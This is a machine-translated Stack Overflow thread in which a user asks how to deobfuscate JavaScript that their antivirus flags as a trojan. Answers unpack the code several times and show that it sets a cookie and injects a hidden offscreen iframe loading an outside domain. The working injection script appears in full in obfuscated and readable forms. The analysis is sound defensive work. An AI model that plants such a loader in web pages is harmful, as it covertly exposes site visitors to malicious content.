破解Javascript恶意软件

破解Javascript恶意软件,javascript,Javascript,有谁能让这篇文章更易读、更易懂?我的反病毒软件检测到它是特洛伊木马。我正在努力理解它: 我从这里得到的 编辑 哇,我很惊讶人们一直抱怨我没有在这里添加代码,我故意在JSFIDLE上添加了代码,但没有包含在这里,因为它会触发反病毒,阻止您访问此页面。我甚至必须禁用我的防病毒软件,才能创建到目前为止我成功获得的JSFIDLE: var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCStrin

有谁能让这篇文章更易读、更易懂?我的反病毒软件检测到它是特洛伊木马。我正在努力理解它:

我从这里得到的

编辑


哇,我很惊讶人们一直抱怨我没有在这里添加代码,我故意在JSFIDLE上添加了代码,但没有包含在这里,因为它会触发反病毒,阻止您访问此页面。我甚至必须禁用我的防病毒软件,才能创建到目前为止我成功获得的JSFIDLE:

var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];

window[_0xacbd[0]] = function() {
function _0x78a6x1(_0x78a6x2, _0x78a6x3, _0x78a6x4) {
    if (_0x78a6x4) {
        var _0x78a6x5 = new Date();
        _0x78a6x5[_0xacbd[2]](_0x78a6x5[_0xacbd[1]]() + _0x78a6x4);
    };

if (_0x78a6x2 && _0x78a6x3) {
        document[_0xacbd[3]] = _0x78a6x2 + _0xacbd[4] + _0x78a6x3 + (_0x78a6x4 ? _0xacbd[5] + _0x78a6x5[_0xacbd[6]]() : _0xacbd[7])
    } else {
        return false
    };
}

function _0x78a6x6(_0x78a6x2) {
    var _0x78a6x3 = new RegExp(_0x78a6x2 + _0xacbd[8]);
    var _0x78a6x4 = _0x78a6x3[_0xacbd[9]](document[_0xacbd[3]]);
    if (_0x78a6x4) {
        _0x78a6x4 = _0x78a6x4[0][_0xacbd[10]](_0xacbd[4])
    } else {
        return false
    };
    return _0x78a6x4[1] ? _0x78a6x4[1] : false;
}
var _0x78a6x7 = _0x78a6x6(_0xacbd[11]);
    if (_0x78a6x7 != _0xacbd[12]) {
    _0x78a6x1(_0xacbd[11], _0xacbd[12], 1);
    var _0x78a6x8 = document[_0xacbd[14]](_0xacbd[13]);
    var _0x78a6x9 = 983755;
    var _0x78a6xa = _0xacbd[15] + _0x78a6x9 + _0xacbd[16];
    _0x78a6x8[_0xacbd[17]] = _0xacbd[18] + _0x78a6xa + _0xacbd[19];
    document[_0xacbd[21]][_0xacbd[20]](_0x78a6x8);
    };
};
据我所知,它打开了一个iFrame,呈现在屏幕外,指向一个恶意网站。也许有更好的解惑技巧的人可以从中得到更多


初始变量0xacbd是一个带有字符串的数组。在整个代码中都有引用,如_0xacbd[4]或_0xacbd[19]。这对应于数组中的一个值。我现在没有时间来匹配它们,但是如果数组中的onload字符串是[0],下一个是[1]等等,如果你有时间的话,你可能会知道发生了什么。

将它放在javascript缩小器中,然后再加上一个美化器,会使它不那么臃肿,更具可读性

var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];

window[a[1]] = function() {
    function f(b, c, d) {
        if (d) {
            var e = new Date;
            e[a[2]](e[a[1]]() + d)
        }
        if (b && c) document[a[3]] =
            b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
        else return !1
    }
    if (function(b) {
            if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
            else return !1;
            return b[1] ? b[1] : !1
        }(a[11]) != a[12]) {
        f(a[11], a[12], 1);
        var c = document[a[14]](a[13]);
        c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
        document[a[21]][a[20]](c)
    }
}

StackOverflow不允许我在没有代码的情况下发布这个问题,所以我在这行下面添加了随机js。认真地系统出于某种原因阻止您在没有相关代码的情况下发布问题。你用不相关的代码来处理它表明你不理解这个原因。我没有把代码放在这里,因为如果你访问这个问题,它会触发反病毒。我的反病毒软件甚至不允许我访问JSFIDLE,除非我禁用反病毒软件哦,真的吗?因此,因为我不想在我的问题中发布全部代码,而是将其添加到JSFIDLE上,所以我宁愿不提问?哇…我真不敢相信你怎么一直抱怨我添加了一些随机的js,这会对你造成如此严重的伤害吗?不管怎样,谢谢你成为一个绝对的指导方针追随者。你似乎比我更关心我的问题投票,是的,我也可能,因为拥有大量的赞成票肯定会在无数方面帮助我。这就是我所做的,但仍然很难理解,虽然我在0xacbd上得到了不同的结果variable@silver你现在能理解代码了吗?你是怎么解包的?“打包”是什么意思?@SamCousins看看这两个人,他们有多么不同。。。第一部分包含一个包含您正在使用的所有单词的数组,因此您可以多次使用单词cookie,以便将其替换为[3]。所以当它打开包装时,我移除了阵列basicly@Endless谢谢,我现在明白了。回答得好!
var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];

window[a[1]] = function() {
    function f(b, c, d) {
        if (d) {
            var e = new Date;
            e[a[2]](e[a[1]]() + d)
        }
        if (b && c) document[a[3]] =
            b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
        else return !1
    }
    if (function(b) {
            if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
            else return !1;
            return b[1] ? b[1] : !1
        }(a[11]) != a[12]) {
        f(a[11], a[12], 1);
        var c = document[a[14]](a[13]);
        c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
        document[a[21]][a[20]](c)
    }
}
window.onload = function() {
    function inject(b, c, d) {
        if (d) {
            var date = new Date;
            date.setDate(date.getDate() + d)
        }
        if (b && c) {
            document.cookie = b + "=" + c + (d ? "; expires=" + date.toUTCString() : "");
        }
        else {
            return false
        }
    }
    if (function(var1) {
        if (var1 = (new RegExp(var1 + "=([^;]){1,}")).exec(document.cookie)) 
            var1 = var1[0].split("=");
        else 
            return false;

        return var1[1] ? var1[1] : false
    }("ad-cookie") != "er2vdr5gdc3ds") {
        inject("ad-cookie", "er2vdr5gdc3ds", 1);
        var wrapper = document.createElement("div")
        wrapper.innerHTML = "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='" + ("http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=" + 983755 + "&ad_id=Xn5be4") + '></iframe></div>';
        document.body.appendChild(wrapper)
    }
}